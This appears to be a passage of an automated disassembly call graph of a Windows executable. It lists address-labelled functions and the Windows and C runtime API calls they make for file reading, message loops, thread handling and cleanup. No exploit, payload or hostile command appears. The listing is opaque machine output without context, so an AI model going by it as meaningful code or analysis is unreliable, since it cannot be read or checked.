calls 104145->104146 104145->104148 104147 b69545 104146->104147 104147->104148 104149 b5dcc5 __fread_nolock 26 API calls 104147->104149 104150 b69553 104149->104150 104150->104148 104151 b5dcc5 __fread_nolock 26 API calls 104150->104151 104152 b69563 104151->104152 104153 b5dcc5 __fread_nolock 26 API calls 104152->104153 104153->104148 104155 b5dce6 104154->104155 104156 b5dcd1 104154->104156 104155->104143 104194 b5f649 20 API calls __dosmaperr 104156->104194 104158 b5dcd6 104195 b62b5c 26 API calls __fread_nolock 104158->104195 104160 b5dce1 104160->104143 104162 b68fbe ___DestructExceptionObject 104161->104162 104163 b68fc6 104162->104163 104164 b68fde 104162->104164 104262 b5f636 20 API calls __dosmaperr 104163->104262 104166 b690a4 104164->104166 104169 b69017 104164->104169 104269 b5f636 20 API calls __dosmaperr 104166->104269 104168 b68fcb 104263 b5f649 20 API calls __dosmaperr 104168->104263 104172 b69026 104169->104172 104173 b6903b 104169->104173 104170 b690a9 104270 b5f649 20 API calls __dosmaperr 104170->104270 104264 b5f636 20 API calls __dosmaperr 104172->104264 104196 b654ba EnterCriticalSection 104173->104196 104177 b6902b 104265 b5f649 20 API calls __dosmaperr 104177->104265 104178 b69041 104181 b69072 104178->104181 104182 b6905d 104178->104182 104179 b69033 104271 b62b5c 26 API calls __fread_nolock 104179->104271 104197 b690c5 104181->104197 104266 b5f649 20 API calls __dosmaperr 104182->104266 104185 b68fd3 __fread_nolock 104185->104145 104187 b6906d 104268 b6909c LeaveCriticalSection __wsopen_s 104187->104268 104188 b69062 104267 b5f636 20 API calls __dosmaperr 104188->104267 104191->104137 104192->104148 104193->104140 104194->104158 104195->104160 104196->104178 104198 b690d7 104197->104198 104199 b690ef 104197->104199 104281 b5f636 20 API calls __dosmaperr 104198->104281 104201 b69459 104199->104201 104206 b69134 104199->104206 104305 b5f636 20 API calls __dosmaperr 104201->104305 104202 b690dc 104282 b5f649 20 API calls __dosmaperr 104202->104282 104205 b6945e 104306 b5f649 20 API calls __dosmaperr 104205->104306 104207 b690e4 104206->104207 104209 b6913f 104206->104209 104213 b6916f 104206->104213 104207->104187 104283 b5f636 20 API calls __dosmaperr 104209->104283 104210 b6914c 104307 b62b5c 26 API calls __fread_nolock 104210->104307 104212 b69144 104284 b5f649 20 API calls __dosmaperr 104212->104284 104216 b69188 104213->104216 104217 b691ae 104213->104217 104218 b691ca 104213->104218 104216->104217 104222 b69195 104216->104222 104285 b5f636 20 API calls __dosmaperr 104217->104285 104288 b63b93 21 API calls 2 library calls 104218->104288 104221 b691b3 104286 b5f649 20 API calls __dosmaperr 104221->104286 104272 b6fc1b 104222->104272 104223 b691e1 104289 b62d38 104223->104289 104227 b69333 104230 b693a9 104227->104230 104234 b6934c GetConsoleMode 104227->104234 104228 b691ba 104287 b62b5c 26 API calls __fread_nolock 104228->104287 104229 b691ea 104232 b62d38 _free 20 API calls 104229->104232 104233 b693ad ReadFile 104230->104233 104235 b691f1 104232->104235 104236 b693c7 104233->104236 104237 b69421 GetLastError 104233->104237 104234->104230 104238 b6935d 104234->104238 104239 b69216 104235->104239 104240 b691fb 104235->104240 104236->104237 104243 b6939e 104236->104243 104241 b69385 104237->104241 104242 b6942e 104237->104242 104238->104233 104244 b69363 ReadConsoleW 104238->104244 104297 b697a4 104239->104297 104295 b5f649 20 API calls __dosmaperr 104240->104295 104259 b691c5 __fread_nolock 104241->104259 104300 b5f613 20 API calls 2 library calls 104241->104300 104303 b5f649 20 API calls __dosmaperr 104242->104303 104255 b69403 104243->104255 104256 b693ec 104243->104256 104243->104259 104244->104243 104245 b6937f GetLastError 104244->104245 104245->104241 104246 b62d38 _free 20 API calls 104246->104207 104251 b69200 104296 b5f636 20 API calls __dosmaperr 104251->104296 104252 b69433 104304 b5f636 20 API calls __dosmaperr 104252->104304 104258 b6941a 104255->104258 104255->104259 104301 b68de1 31 API calls 4 library calls 104256->104301 104302 b68c21 29 API calls __wsopen_s 104258->104302 104259->104246 104261 b6941f 104261->104259 104262->104168 104263->104185 104264->104177 104265->104179 104266->104188 104267->104187 104268->104185 104269->104170 104270->104179 104271->104185 104273 b6fc35 104272->104273 104274 b6fc28 104272->104274 104276 b6fc41 104273->104276 104309 b5f649 20 API calls __dosmaperr 104273->104309 104308 b5f649 20 API calls __dosmaperr 104274->104308 104276->104227 104278 b6fc2d 104278->104227 104279 b6fc62 104310 b62b5c 26 API calls __fread_nolock 104279->104310 104281->104202 104282->104207 104283->104212 104284->104210 104285->104221 104286->104228 104287->104259 104288->104223 104290 b62d43 RtlFreeHeap 104289->104290 104291 b62d6c _free 104289->104291 104290->104291 104292 b62d58 104290->104292 104291->104229 104311 b5f649 20 API calls __dosmaperr 104292->104311 104294 b62d5e GetLastError 104294->104291 104295->104251 104296->104259 104312 b6970b 104297->104312 104300->104259 104301->104259 104302->104261 104303->104252 104304->104259 104305->104205 104306->104210 104307->104207 104308->104278 104309->104279 104310->104278 104311->104294 104321 b65737 104312->104321 104314 b6971d 104315 b69736 SetFilePointerEx 104314->104315 104316 b69725 104314->104316 104318 b6974e GetLastError 104315->104318 104319 b6972a 104315->104319 104334 b5f649 20 API calls __dosmaperr 104316->104334 104335 b5f613 20 API calls 2 library calls 104318->104335 104319->104222 104322 b65744 104321->104322 104323 b65759 104321->104323 104336 b5f636 20 API calls __dosmaperr 104322->104336 104327 b6577e 104323->104327 104338 b5f636 20 API calls __dosmaperr 104323->104338 104326 b65749 104337 b5f649 20 API calls __dosmaperr 104326->104337 104327->104314 104328 b65789 104339 b5f649 20 API calls __dosmaperr 104328->104339 104331 b65751 104331->104314 104332 b65791 104340 b62b5c 26 API calls __fread_nolock 104332->104340 104334->104319 104335->104319 104336->104326 104337->104331 104338->104328 104339->104332 104340->104331 104341 b3dd3d 104342 b3dd63 104341->104342 104343 b819c2 104341->104343 104344 b3dead 104342->104344 104347 b5014b 22 API calls 104342->104347 104346 b81a82 104343->104346 104348 b81a26 104343->104348 104354 b81a46 104343->104354 104349 b5017b 22 API calls 104344->104349 104401 ba3fe1 82 API calls __wsopen_s 104346->104401 104353 b3dd8d 104347->104353 104399 b4e6e8 190 API calls 104348->104399 104359 b3dee4 __fread_nolock 104349->104359 104350 b81a7d 104355 b5014b 22 API calls 104353->104355 104353->104359 104354->104350 104400 ba3fe1 82 API calls __wsopen_s 104354->104400 104356 b3dddb 104355->104356 104356->104348 104358 b3de16 104356->104358 104357 b5017b 22 API calls 104357->104359 104360 b40340 190 API calls 104358->104360 104359->104354 104359->104357 104361 b3de29 104360->104361 104361->104350 104361->104359 104362 b81aa5 104361->104362 104364 b3de77 104361->104364 104365 b3d526 104361->104365 104402 ba3fe1 82 API calls __wsopen_s 104362->104402 104364->104344 104364->104365 104366 b5014b 22 API calls 104365->104366 104367 b3d589 104366->104367 104383 b3c32d 104367->104383 104370 b5014b 22 API calls 104377 b3d66e ISource 104370->104377 104371 b3c3ab 22 API calls 104381 b3d9ac ISource 104371->104381 104372 b3bed9 22 API calls 104372->104377 104375 b81f79 104404 b956ae 22 API calls ISource 104375->104404 104377->104372 104377->104375 104378 b81f94 104377->104378 104380 b3d911 ISource 104377->104380 104390 b3c3ab 104377->104390 104403 b3b4c8 22 API calls 104377->104403 104380->104371 104380->104381 104382 b3d9c3 104381->104382 104398 b4e30a 22 API calls ISource 104381->104398 104387 b3c33d 104383->104387 104384 b3c345 104384->104370 104385 b5014b 22 API calls 104385->104387 104386 b3bf73 22 API calls 104386->104387 104387->104384 104387->104385 104387->104386 104388 b3bed9 22 API calls 104387->104388 104389 b3c32d 22 API calls 104387->104389 104388->104387 104389->104387 104391 b3c3b9 104390->104391 104397 b3c3e1 ISource 104390->104397 104392 b3c3c7 104391->104392 104393 b3c3ab 22 API calls 104391->104393 104394 b3c3cd 104392->104394 104395 b3c3ab 22 API calls 104392->104395 104393->104392 104396 b3c7e0 22 API calls 104394->104396 104394->104397 104395->104394 104396->104397 104397->104377 104398->104381 104399->104354 104400->104350 104401->104350 104402->104350 104403->104377 104404->104378 104405 b3f4dc 104408 b3cab0 104405->104408 104409 b3cacb 104408->104409 104410 b8150c 104409->104410 104411 b814be 104409->104411 104438 b3caf0 104409->104438 104452 bb62ff 190 API calls 2 library calls 104410->104452 104414 b814c8 104411->104414 104417 b814d5 104411->104417 104411->104438 104450 bb6790 190 API calls 104414->104450 104416 b4bc58 22 API calls 104416->104438 104434 b3cdc0 104417->104434 104451 bb6c2d 190 API calls 2 library calls 104417->104451 104420 b4e807 40 API calls 104420->104438 104421 b8179f 104421->104421 104425 b3cdee 104426 b816e8 104455 bb6669 82 API calls 104426->104455 104433 b3cf80 40 API calls 104433->104438 104434->104425 104456 ba3fe1 82 API calls __wsopen_s 104434->104456 104435 b40340 190 API calls 104435->104438 104436 b3bed9 22 API calls 104436->104438 104438->104416 104438->104420 104438->104425 104438->104426 104438->104433 104438->104434 104438->104435 104438->104436 104439 b3be2d 104438->104439 104443 b4e7c1 40 API calls 104438->104443 104444 b4aa99 190 API calls 104438->104444 104445 b505b2 5 API calls __Init_thread_wait 104438->104445 104446 b50413 29 API calls __onexit 104438->104446 104447 b50568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 104438->104447 104448 b4f4df 82 API calls 104438->104448 104449 b4f346 190 API calls 104438->104449 104453 b3b4c8 22 API calls 104438->104453 104454 b8ffaf 22 API calls 104438->104454 104440 b3be38 104439->104440 104441 b3be67 104440->104441 104457 b3bfa5 40 API calls 104440->104457 104441->104438 104443->104438 104444->104438 104445->104438 104446->104438 104447->104438 104448->104438 104449->104438 104450->104417 104451->104434 104452->104438 104453->104438 104454->104438 104455->104434 104456->104421 104457->104441 104458 b8e737 104459 b8e6e4 104458->104459 104461 b9e83e SHGetFolderPathW 104459->104461 104462 b38577 22 API calls 104461->104462 104463 b9e86b 104462->104463 104463->104459 104464 b3f4c0 104467 b4a025 104464->104467 104466 b3f4cc 104468 b4a046 104467->104468 104473 b4a0a3 104467->104473 104470 b40340 190 API calls 104468->104470 104468->104473 104474 b4a077 104470->104474 104471 b8806b 104471->104471 104472 b4a0e7 104472->104466 104473->104472 104476 ba3fe1 82 API calls __wsopen_s 104473->104476 104474->104472 104474->104473 104475 b3bed9 22 API calls 104474->104475 104475->104473 104476->104471 104477 b68782 104482 b6853e 104477->104482 104480 b687aa 104487 b6856f try_get_first_available_module 104482->104487 104484 b6876e 104501 b62b5c 26 API calls __fread_nolock 104484->104501 104486 b686c3 104486->104480 104494 b70d04 104486->104494 104490 b686b8 104487->104490 104497 b5917b 40 API calls 2 library calls 104487->104497 104489 b6870c 104489->104490 104498 b5917b 40 API calls 2 library calls 104489->104498 104490->104486 104500 b5f649 20 API calls __dosmaperr 104490->104500 104492 b6872b 104492->104490 104499 b5917b 40 API calls 2 library calls 104492->104499 104502 b70401 104494->104502 104496 b70d1f 104496->104480 104497->104489 104498->104492 104499->104490 104500->104484 104501->104486 104505 b7040d ___DestructExceptionObject 104502->104505 104503 b7041b 104560 b5f649 20 API calls __dosmaperr 104503->104560 104505->104503 104507 b70454 104505->104507 104506 b70420 104561 b62b5c 26 API calls __fread_nolock 104506->104561 104513 b709db 104507->104513 104512 b7042a __fread_nolock 104512->104496 104563 b707af 104513->104563 104516 b70a26 104581 b65594 104516->104581 104517 b70a0d 104595 b5f636 20 API calls __dosmaperr 104517->104595 104520 b70a2b 104521 b70a34 104520->104521 104522 b70a4b 104520->104522 104597 b5f636 20 API calls __dosmaperr 104521->104597 104594 b7071a CreateFileW 104522->104594 104526 b70a39 104598 b5f649 20 API calls __dosmaperr 104526->104598 104528 b70b01 GetFileType 104529 b70b0c GetLastError 104528->104529 104535 b70b53 104528->104535 104601 b5f613 20 API calls 2 library calls 104529->104601 104530 b70a12 104596 b5f649 20 API calls __dosmaperr 104530->104596 104531 b70ad6 GetLastError 104600 b5f613 20 API calls 2 library calls 104531->104600 104532 b70a84 104532->104528 104532->104531 104599 b7071a CreateFileW 104532->104599 104603 b654dd 21 API calls 3 library calls 104535->104603 104536 b70b1a CloseHandle 104536->104530 104538 b70b43 104536->104538 104602 b5f649 20 API calls __dosmaperr 104538->104602 104540 b70ac9 104540->104528 104540->104531 104542 b70b74 104543 b70bc0 104542->104543 104604 b7092b 72 API calls 4 library calls 104542->104604 104548 b70bed 104543->104548 104605 b704cd 72 API calls 4 library calls 104543->104605 104544 b70b48 104544->104530 104547 b70be6 104547->104548 104549 b70bfe 104547->104549 104606 b68a2e 104548->104606 104551 b70478 104549->104551 104552 b70c7c CloseHandle 104549->104552 104562 b704a1 LeaveCriticalSection __wsopen_s 104551->104562 104621 b7071a CreateFileW 104552->104621 104554 b70ca7 104555 b70cdd 104554->104555 104556 b70cb1 GetLastError 104554->104556 104555->104551 104622 b5f613 20 API calls 2 library calls 104556->104622 104558 b70cbd 104623 b656a6 21 API calls 3 library calls 104558->104623 104560->104506 104561->104512 104562->104512 104564 b707d0 104563->104564 104569 b707ea 104563->104569 104564->104569 104631 b5f649 20 API calls __dosmaperr 104564->104631 104567 b707df 104632 b62b5c 26 API calls __fread_nolock 104567->104632 104624 b7073f 104569->104624 104570 b70822 104571 b70851 104570->104571 104633 b5f649 20 API calls __dosmaperr 104570->104633 104579 b708a4 104571->104579 104635 b5da7d 26 API calls 2 library calls 104571->104635 104574 b7089f 104576 b7091e 104574->104576 104574->104579 104575 b70846 104634 b62b5c 26 API calls __fread_nolock 104575->104634 104636 b62b6c 11 API calls _abort 104576->104636 104579->104516 104579->104517 104580 b7092a 104582 b655a0 ___DestructExceptionObject 104581->104582 104639 b632d1 EnterCriticalSection 104582->104639 104584 b655ee 104640 b6569d 104584->104640 104585 b655a7 104585->104584 104586 b655cc 104585->104586 104591 b6563a EnterCriticalSection 104585->104591 104643 b65373 104586->104643 104589 b65617 __fread_nolock 104589->104520 104591->104584 104592 b65647 LeaveCriticalSection 104591->104592 104592->104585 104594->104532 104595->104530 104596->104551 104597->104526 104598->104530 104599->104540 104600->104530 104601->104536 104602->104544 104603->104542 104604->104543 104605->104547 104607 b65737 __wsopen_s 26 API calls 104606->104607 104609 b68a3e 104607->104609 104608 b68a44 104662 b656a6 21 API calls 3 library calls 104608->104662 104609->104608 104610 b68a76 104609->104610 104612 b65737 __wsopen_s 26 API calls 104609->104612 104610->104608 104613 b65737 __wsopen_s 26 API calls 104610->104613 104615 b68a6d 104612->104615 104616 b68a82 CloseHandle 104613->104616 104614 b68a9c 104617 b68abe 104614->104617 104663 b5f613 20 API calls 2 library calls 104614->104663 104618 b65737 __wsopen_s 26 API calls 104615->104618 104616->104608 104619 b68a8e GetLastError 104616->104619 104617->104551 104618->104610 104619->104608 104621->104554 104622->104558 104623->104555 104626 b70757 104624->104626 104625 b70772 104625->104570 104626->104625 104637 b5f649 20 API calls __dosmaperr 104626->104637 104628 b70796 104638 b62b5c 26 API calls __fread_nolock 104628->104638 104630 b707a1 104630->104570 104631->104567 104632->104569 104633->104575 104634->104571 104635->104574 104636->104580 104637->104628 104638->104630 104639->104585 104651 b63319 LeaveCriticalSection 104640->104651 104642 b656a4 104642->104589 104652 b64ff0 104643->104652 104645 b65385 104649 b65392 104645->104649 104659 b63778 11 API calls 2 library calls 104645->104659 104646 b62d38 _free 20 API calls 104648 b653e4 104646->104648 104648->104584 104650 b654ba EnterCriticalSection 104648->104650 104649->104646 104650->104584 104651->104642 104653 b64ffd __dosmaperr 104652->104653 104654 b6503d 104653->104654 104655 b65028 RtlAllocateHeap 104653->104655 104660 b5521d 7 API calls 2 library calls 104653->104660 104661 b5f649 20 API calls __dosmaperr 104654->104661 104655->104653 104657 b6503b 104655->104657 104657->104645 104659->104645 104660->104653 104661->104657 104662->104614 104663->104617 104664 b508a0 104673 b50d02 GetModuleHandleW 104664->104673 104666 b508a8 104667 b508ac 104666->104667 104668 b508de 104666->104668 104669 b508b7 104667->104669 104674 b55156 28 API calls _abort 104667->104674 104675 b55174 28 API calls _abort 104668->104675 104672 b508e6 104673->104666 104674->104669 104675->104672 104676 b72782 104679 b32ab0 104676->104679 104680 b32aef mciSendStringW 104679->104680 104681 b73a1a DestroyWindow 104679->104681 104682 b32d66 104680->104682 104683 b32b0b 104680->104683 104692 b73a26 104681->104692 104682->104683 104685 b32d75 UnregisterHotKey 104682->104685 104684 b32b19 104683->104684 104683->104692 104715 b32ede 104684->104715 104685->104682 104688 b73a6b 104693 b73a8f 104688->104693 104694 b73a7e FreeLibrary 104688->104694 104689 b73a44 FindClose 104689->104692 104691 b32b2e 104691->104693 104702 b32b3c 104691->104702 104692->104688 104692->104689 104726 b37aab 104692->104726 104695 b73aa3 VirtualFree 104693->104695 104696 b73ad1 104693->104696 104694->104688 104695->104693 104698 b32ba9 104696->104698 104719 ba0b4c 104696->104719 104697 b32b98 CoUninitialize 104697->104696 104697->104698 104699 b32bb4 104698->104699 104700 b73aeb 104698->104700 104701 b32bc4 104699->104701 104707 b73afa ISource 104700->104707 104730 ba3d30 6 API calls ISource 104700->104730 104724 b32ff4 24 API calls 104701->104724 104702->104697 104705 b32bda 104725 b32e1c 22 API calls 104705->104725 104709 b73b89 104707->104709 104731 b96e3b 22 API calls ISource 104707->104731 104716 b32eeb 104715->104716 104717 b32b20 104716->104717 104732 b97991 22 API calls 104716->104732 104717->104688 104717->104691 104733 ba1312 104719->104733 104722 ba0b7f DeleteCriticalSection 104722->104698 104723 ba0b6b 104723->104722 104724->104705 104727 b37ab5 104726->104727 104728 b37ac4 104726->104728 104727->104692 104728->104727 104729 b37ac9 CloseHandle 104728->104729 104729->104727 104730->104700 104731->104707 104732->104716 104734 ba131b InterlockedExchange 104733->104734 104735 ba0b5a CloseHandle 104733->104735 104734->104735 104736 ba132f EnterCriticalSection TerminateThread WaitForSingleObject 104734->104736 104735->104723 104737 ba1369 InterlockedExchange LeaveCriticalSection 104736->104737 104738 ba135c CloseHandle 104736->104738 104737->104735 104738->104737 104739 b8400f 104766 b3eeb0 ISource 104739->104766 104740 b3f211 PeekMessageW 104740->104766 104741 b3ef07 GetInputState 104741->104740 104741->104766 104742 b3f0d5 104744 b832cd TranslateAcceleratorW 104744->104766 104745 b3f28f PeekMessageW 104745->104766 104746 b3f104 timeGetTime 104746->104766 104747 b3f273 TranslateMessage DispatchMessageW 104747->104745 104748 b3f2af Sleep 104765 b3f2c0 104748->104765 104749 b84183 Sleep 104749->104765 104750 b4f215 timeGetTime 104750->104765 104751 b833e9 timeGetTime 104802 b4aa65 23 API calls 104751->104802 104752 b9dd87 47 API calls 104752->104765 104754 b8421a GetExitCodeProcess 104757 b84230 WaitForSingleObject 104754->104757 104758 b84246 CloseHandle 104754->104758 104755 b83d51 104760 b83d59 104755->104760 104756 bc345b GetForegroundWindow 104756->104765 104757->104758 104757->104766 104758->104765 104761 b842b8 Sleep 104761->104766 104765->104750 104765->104752 104765->104754 104765->104755 104765->104756 104765->104761 104765->104766 104805 bb60b5 22 API calls 104765->104805 104806 b9f292 QueryPerformanceCounter QueryPerformanceFrequency Sleep QueryPerformanceCounter Sleep 104765->104806 104766->104740 104766->104741 104766->104742 104766->104744 104766->104745 104766->104746 104766->104747 104766->104748 104766->104749 104766->104751 104768 b40340 190 API calls 104766->104768 104769 b42b20 190 API calls 104766->104769 104771 b3f450 104766->104771 104778 b3f6d0 104766->104778 104801 b4e915 IsDialogMessageW GetClassLongW 104766->104801 104803 ba446f 22 API calls 104766->104803 104804 ba3fe1 82 API calls __wsopen_s 104766->104804 104768->104766 104769->104766 104772 b3f46f 104771->104772 104773 b3f483 104771->104773 104807 b3e960 104772->104807 104839 ba3fe1 82 API calls __wsopen_s 104773->104839 104776 b3f47a 104776->104766 104777 b84584 104777->104777 104779 b3f6ef 104778->104779 104800 b3f7dc ISource 104779->104800 104848 b505b2 5 API calls __Init_thread_wait 104779->104848 104782 b845d9 104784 b3bf73 22 API calls 104782->104784 104782->104800 104783 b3bf73 22 API calls 104783->104800 104785 b845f3 104784->104785 104849 b50413 29 API calls __onexit 104785->104849 104786 b3be2d 40 API calls 104786->104800 104789 b845fd 104850 b50568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 104789->104850 104793 b40340 190 API calls 104793->104800 104794 b3bed9 22 API calls 104794->104800 104795 b41ca0 22 API calls 104795->104800 104796 b3fae1 104796->104766 104797 ba3fe1 82 API calls 104797->104800 104800->104783 104800->104786 104800->104793 104800->104794 104800->104795 104800->104796 104800->104797 104847 b4b35c 190 API calls 104800->104847 104851 b505b2 5 API calls __Init_thread_wait 104800->104851 104852 b50413 29 API calls __onexit 104800->104852 104853 b50568 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 104800->104853 104854 bb5231 102 API calls 104800->104854 104855 bb731e 190 API calls 104800->104855 104801->104766 104802->104766 104803->104766 104804->104766 104805->104765 104806->104765 104808 b40340 190 API calls 104807->104808 104825 b3e99d 104808->104825 104809 b831d3 104846 ba3fe1 82 API calls __wsopen_s 104809->104846 104811 b3ea0b ISource 104811->104776 104812 b3edd5 104812->104811 104823 b5017b 22 API calls 104812->104823 104813 b3eac3 104813->104812 104814 b3eace 104813->104814 104816 b5014b 22 API calls 104814->104816 104815 b3ecff 104817 b3ed14 104815->104817 104818 b831c4 104815->104818 104828 b3ead5 __fread_nolock 104816->104828 104820 b5014b 22 API calls 104817->104820 104845 bb6162 22 API calls 104818->104845 104819 b3ebb8 104824 b5017b 22 API calls 104819->104824 104832 b3eb6a 104820->104832 104822 b5014b 22 API calls 104822->104825 104823->104828 104830 b3eb29 ISource __fread_nolock 104824->104830 104825->104809 104825->104811 104825->104812 104825->104813 104825->104819 104825->104822 104825->104830 104826 b5014b 22 API calls 104827 b3eaf6 104826->104827 104827->104830 104840 b3d260 190 API calls 104827->104840 104828->104826 104828->104827 104830->104815 104831 b831b3 104830->104831 104830->104832 104835 b8318e 104830->104835 104837 b8316c 104830->104837 104841 b344fe 190 API calls 104830->104841 104844 ba3fe1 82 API calls __wsopen_s 104831->104844 104832->104776 104843 ba3fe1 82 API calls __wsopen_s 104835->104843 104842 ba3fe1 82 API calls __wsopen_s 104837->104842 104839->104777 104840->104830 104841->104830 104842->104832 104843->104832 104844->104832 104845->104809 104846->104811 104847->104800 104848->104782 104849->104789 104850->104800 104851->104800 104852->104800 104853->104800 104854->104800 104855->104800 104856 b31044 104861 b32793 104856->104861 104858 b3104a 104896 b50413 29 API calls __onexit 104858->104896 104860 b31054 104897 b32a38 104861->104897 104865 b3280a 104866 b3bf73 22 API calls 104865->104866 104867 b32814 104866->104867 104868 b3bf73 22 API calls 104867->104868 104869 b3281e 104868->104869 104870 b3bf73 22 API calls 104869->104870 104871 b32828 104870->104871 104872 b3bf73 22 API calls 104871->104872 104873 b32866 104872->104873 104874 b3bf73 22 API calls 104873->104874 104875 b32932 104874->104875 104907 b32dbc 104875->104907 104879 b32964 104880 b3bf73 22 API calls 104879->104880 104881 b3296e 104880->104881 104882 b43160 9 API calls 104881->104882 104883 b32999 104882->104883 104934 b33166 104883->104934 104885 b329b5 104886 b329c5 GetStdHandle 104885->104886 104887 b739e7 104886->104887 104888 b32a1a 104886->104888 104887->104888 104889 b5014b 22 API calls 104887->104889 104890 b32a27 OleInitialize 104888->104890 104891 b739f7 104889->104891 104890->104858 104941 ba0ac4 InitializeCriticalSectionAndSpinCount 104891->104941 104893 b73a00 104944 ba12eb 104893->104944 104896->104860 104947 b32a91 104897->104947 104900 b32a91 22 API calls 104901 b32a70 104900->104901 104902 b3bf73 22 API calls 104901->104902 104903 b32a7c 104902->104903 104904 b38577 22 API calls 104903->104904 104905 b327c9 104904->104905 104906 b3327e 6 API calls 104905->104906 104906->104865 104908 b3bf73 22 API calls 104907->104908 104909 b32dcc 104908->104909 104910 b3bf73 22 API calls 104909->104910 104911 b32dd4 104910->104911 104954 b381d6 104911->104954 104914 b381d6 22 API calls 104915 b32de4 104914->104915 104916 b3bf73 22 API calls 104915->104916 104917 b32def 104916->104917 104918 b5014b 22 API calls 104917->104918 104919 b3293c 104918->104919 104920 b33205 104919->104920 104921 b33213 104920->104921 104922 b3bf73 22 API calls 104921->104922 104923 b3321e 104922->104923 104924 b3bf73 22 API calls 104923->104924 104925 b33229 104924->104925 104926 b3bf73 22 API calls 104925->104926 104927 b33234 104926->104927 104928 b3bf73 22 API calls 104927->104928 104929 b3323f 104928->104929 104930 b381d6 22 API calls 104929->104930 104931 b3324a 104930->104931 104932 b5014b 22 API calls 104931->104932 104933 b33251 RegisterWindowMessageW 104932->104933 104933->104879 104935 b33176 104934->104935 104936 b73c8f 104934->104936 104937 b5014b 22 API calls 104935->104937 104957 ba3c4e 22 API calls 104936->104957 104940 b3317e 104937->104940 104939 b73c9a 104940->104885 104958 ba0d18 104941->104958 104945 ba12f9 CreateThread 104944->104945 104946 b73a0c CloseHandle 104944->104946 104945->104946 104961 ba12d1 104945->104961 104946->104888 104948 b3bf73 22 API calls 104947->104948 104949 b32a9c 104948->104949 104950 b3bf73 22 API calls 104949->104950 104951 b32aa4 104950->104951 104952 b3bf73 22 API calls 104951->104952 104953 b32a66 104952->104953 104953->104900 104955 b3bf73 22 API calls 104954->104955 104956 b32ddc 104955->104956 104956->104914 104957->104939 104959 ba0b03 InterlockedExchange 104958->104959 104960 ba0d26 GetCurrentProcess GetCurrentProcess DuplicateHandle 104958->104960 104959->104893 104960->104959 104962 ba12db 104961->104962 104963 ba12e0 104961->104963 104965 ba1196 InterlockedExchange 104962->104965 104966 ba11c7 104965->104966 104967 ba11c1 104965->104967 104969 b5017b 22 API calls 104966->104969 104968 b5017b 22 API calls 104967->104968 104968->104966 104970 ba11d9 ReadFile 104969->104970 104971 ba12a8 104970->104971 104972 ba11fc 104970->104972 104974 ba12c1 InterlockedExchange 104971->104974 104972->104971 104973 ba1206 EnterCriticalSection 104972->104973 104977 ba122e __fread_nolock 104972->104977 104973->104972 104973->104977 104974->104963 104975 ba1279 LeaveCriticalSection ReadFile 104975->104971 104975->104972 104976 b5017b 22 API calls 104976->104977 104977->104975 104977->104976 104978 b4f9a3 104979 b4f9ad 104978->104979 104980 b4f9ce 104978->104980 104981 b3c3ab 22 API calls 104979->104981 104986 b8fb3c 104980->104986 104987 b956ae 22 API calls ISource 104980->104987 104983 b4f9bd 104981->104983 104984 b3c3ab 22 API calls 104983->104984 104985 b4f9cd 104984->104985 104987->104980 104988 b5f06e 104989 b5f07a ___DestructExceptionObject 104988->104989 104990 b5f086 104989->104990 104991 b5f09b 104989->104991 105007 b5f649 20 API calls __dosmaperr 104990->105007 105001 b594fd EnterCriticalSection 104991->105001 104994 b5f08b 105008 b62b5c 26 API calls __fread_nolock 104994->105008 104995 b5f0a7 105002 b5f0db 104995->105002 104999 b5f096 __fread_nolock 105001->104995 105010 b5f106 105002->105010 105004 b5f0e8 105005 b5f0b4 105004->105005 105030 b5f649 20 API calls __dosmaperr 105004->105030 105009 b5f0d1 LeaveCriticalSection __fread_nolock 105005->105009 105007->104994 105008->104999 105009->104999 105011 b5f114 105010->105011 105012 b5f12e 105010->105012 105034 b5f649 20 API calls __dosmaperr 105011->105034 105013 b5dcc5 __fread_nolock 26 API calls 105012->105013 105015 b5f137 105013->105015 105031 b69789 105015->105031 105016 b5f119 105035 b62b5c 26 API calls __fread_nolock 105016->105035 105020 b5f1bf 105023 b5f1ee 105020->105023 105025 b5f1dc 105020->105025 105021 b5f23b 105022 b5f248 105021->105022 105021->105023 105037 b5f649 20 API calls __dosmaperr 105022->105037 105029 b5f124 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 105023->105029 105038 b5f29b 30 API calls 2 library calls 105023->105038 105036 b5f41f 31 API calls 4 library calls 105025->105036 105027 b5f1e6 105027->105029 105029->105004 105030->105005 105039 b69606 105031->105039 105033 b5f153 105033->105020 105033->105021 105033->105029 105034->105016 105035->105029 105036->105027 105037->105029 105038->105029 105040 b69612 ___DestructExceptionObject 105039->105040 105041 b69632 105040->105041 105042 b6961a 105040->105042 105044 b696e6 105041->105044 105049 b6966a 105041->105049 105065 b5f636 20 API calls __dosmaperr 105042->105065 105070 b5f636 20 API calls __dosmaperr 105044->105070 105045 b6961f 105066 b5f649 20 API calls __dosmaperr 105045->105066 105048 b696eb 105071 b5f649 20 API calls __dosmaperr 105048->105071 105064 b654ba EnterCriticalSection 105049->105064 105052 b696f3 105072 b62b5c 26 API calls __fread_nolock 105052->105072 105053 b69670 105055 b69694 105053->105055 105056 b696a9 105053->105056 105067 b5f649 20 API calls __dosmaperr 105055->105067 105058 b6970b __wsopen_s 28 API calls 105056->105058 105057 b69627 __fread_nolock 105057->105033 105060 b696a4 105058->105060 105069 b696de LeaveCriticalSection __wsopen_s 105060->105069 105061 b69699 105068 b5f636 20 API calls __dosmaperr 105061->105068 105064->105053 105065->105045 105066->105057 105067->105061 105068->105060 105069->105057 105070->105048 105071->105052 105072->105057 105073 b81ac5 105074 b81acd 105073->105074 105077 b3d535 105073->105077 105104 b97a87 22 API calls __fread_nolock 105074->105104 105076 b81adf 105105 b97a00 22 API calls __fread_nolock 105076->105105 105079 b5014b 22 API calls 105077->105079 105081 b3d589 105079->105081 105080 b81b09 105082 b40340 190 API calls 105080->105082 105085 b3c32d 22 API calls 105081->105085 105083 b81b30 105082->105083 105084 b81b44 105083->105084 105106 bb61a2 54 API calls _wcslen 105083->105106 105087 b3d5b3 105085->105087 105089 b5014b 22 API calls 105087->105089 105088 b81b61 105088->105077 105107 b97a87 22 API calls __fread_nolock 105088->105107 105096 b3d66e ISource 105089->105096 105091 b3c3ab 22 API calls 105101 b3d9ac ISource 105091->105101 105092 b3bed9 22 API calls 105092->105096 105095 b81f79 105109 b956ae 22 API calls ISource 105095->105109 105096->105092 105096->105095 105098 b81f94 105096->105098 105099 b3c3ab 22 API calls 105096->105099 105100 b3d911 ISource 